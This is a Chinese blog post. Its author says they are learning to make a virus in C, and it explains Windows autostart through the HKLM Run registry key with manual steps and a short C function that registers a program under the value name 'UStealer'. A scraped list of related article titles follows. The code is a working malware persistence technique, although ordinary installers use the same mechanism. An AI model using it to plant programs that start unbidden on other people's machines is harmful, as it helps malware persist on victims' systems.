闲来无事,研究下c 语言制作病毒,刚好涉及开机自启,遂写下该文章
在查阅N多资料和Google后
终于搞定c语言开机自启的实现
(吐槽: 网上文章真是"瓜皮",bug奇多)

原理:
windows 开机会检索注册表,其中有一项

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
是微软 定义的开机程序检索表
利用windows api 函数修改该注册表即可实现开机启动程序

我们手动实现一下:
1、点击开始——运行,输入regedit打开注册表
2、找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”打开后,
点右键 新建-字符串值,输入任意名称,然后右击该名称-修改,
在“数值数据”栏输入你要自动启动的应用程序文件所在的完整路径的文件名


活不多说,开码

需要以下头文件

 #include <Windows.h>#include <stdio.h>

函数主题如下:

void HKRunator(char *programName)   //程序名称(**全路径**)
{HKEY hkey = NULL;DWORD rc;rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项,如果有则打开该注册表项"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WOW64_64KEY | KEY_ALL_ACCESS,    //部分windows系统编译该行会报错, 删掉 “”KEY_WOW64_64KEY | “” 即可NULL,&hkey,NULL);if (rc == ERROR_SUCCESS)   {rc = RegSetValueEx(hkey, "UStealer",0,REG_SZ,(const BYTE *)programName,strlen(programName));if (rc == ERROR_SUCCESS){RegCloseKey(hkey);}}
}

如需调用该函数,传入程序全路径名即可。

c语言 程序开机自启相关推荐

  1. 计算机开始里怎么没有运行程序,启动文件夹没有了? 解决电脑启动文件夹消失或程序开机自启失效的教程...

    电脑开机后开始菜单里的启动文件夹没有了该怎么办?熟悉Windows系统的各位,应该都知道其自带的启动文件夹是方便让用户设置开机自启程序的目录,一般我们将要让其开机自动启动的程序的快捷方式直接放到启动文 ...

  2. win7如何使程序开机自启(开机自动启动应用程序)

    由于很多应用程序并不具有开机自启的功能,所以可以通过注册表编辑器来实现某个应用程序的开机自启 1.利用win+R组合键打开运行界面,在编辑框中输入"regedit",然后点击确定或 ...

  3. Centos设置程序开机自启的方法

    [转]CentOS设置程序开机自启动的方法 转自:http://www.centos.bz/2011/09/centos-setup-process-startup-boot/ 在CentOS系统下, ...

  4. 如何关闭一切流氓程序开机自启【gitter、vmware等】

    操作步骤如下: 1.按win+r快捷键(注:win键在Alt左侧),输入taskmgr.exe,点击确定切换出任务管理器 2.点击启动选项卡,在下方列表中找到你想要关闭开机自启项目,选中,点击禁用即可 ...

  5. android程序开机自启的方法,Android编程实现应用程序开机自启动的方法

    本文实例讲述了Android编程实现应用程序开机自启动的方法.分享给大家供大家参考,具体如下: Android在开机时自动启动一个应用程序 在启动时自动启动一个应用程序: 1.AndroidManif ...

  6. 树莓派程序开机自启(尝试过很多终于成了)

    实验了很多的方法,终于成了. 为了方便,我们把我们要实现开机自启动的程序放在/home/pi 文件夹下,并命名为Test.py 首先确定程序可运行无错误. 1  编辑rc.local文件 sudo n ...

  7. InnoSetup程序开机自启

    方法一 此方法不修改注册表,避免了杀毒软件提示,其实就是将快捷方式添加到"启动"文件夹. [Tasks] Name: "startupicon"; Descri ...

  8. win10设置程序开机自启

    启用.禁止自启 有三种方法: 按win键->设置->应用->启动 打开任务管理器->启动 打开电脑管家(如果有的话)->电脑加速->启动项 添加自启程序 思路:将程 ...

  9. 如何让一个程序开机自启

    一.window: 1.我们打开自己本机下面文件 C:\Users\星星\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 星 ...

最新文章

  1. linux ngxtop安装安装及使用
  2. MySQL5.1升级到5.5注意事项
  3. 关键字static在C和C++中的区别
  4. 经典C语言程序100例之八一
  5. vue --- 前端代理发送http请求
  6. 第 8 章 配置listener监听器
  7. docker 获取宿主机ip_Docker基础修炼6——网络初探及单机容器间通信
  8. 95-240-052-原理-State-MemoryStateBackend
  9. queryrunner带参数的构造函数和不带参数的构造函数有什么区别_再谈构造函数、原型、原型链之间的关系...
  10. Android官方源码资料博客
  11. 一 集成电路与IP核技术
  12. 电脑重装操作系统——使用U盘安装(简略步骤)
  13. C# 通过Http获取网页内容
  14. iOS同时适配iPad横屏和iPhone竖屏
  15. v8引擎和v12引擎_v8和v12引擎的区别是什么?
  16. G.1用python进行精细中文分句(基于正则表达式),HarvestText:文本挖掘和预处理工具
  17. 【java】输入一个整数判断它是偶数还是奇数
  18. 校园闲置物品(跳蚤市场)交易平台的设计与实现
  19. Java基础类型的包装类传值NullPoint问题
  20. java制作管理系统视频_java语言制作管理系统视频教程

热门文章

  1. 3万亿背后 阿里正在造全球通用计算机
  2. STL容器的并集(set_union)、交集(set_intersection)和差集(set_difference)函数的使用
  3. executeQuery、executeUpdate和execute
  4. 开源操作系统期末知识总结
  5. PHP定时任务 - PHP自动定时循环执行任务实例代码
  6. 项目管理理论和实施方法论的关系是什么?
  7. 卡尔曼滤波系列——(四)无损卡尔曼滤波
  8. 稀疏编码器(Sparse Encoder)
  9. flush()的作用
  10. 大家都在学JAVA,那么学JAVA到底可以做什么?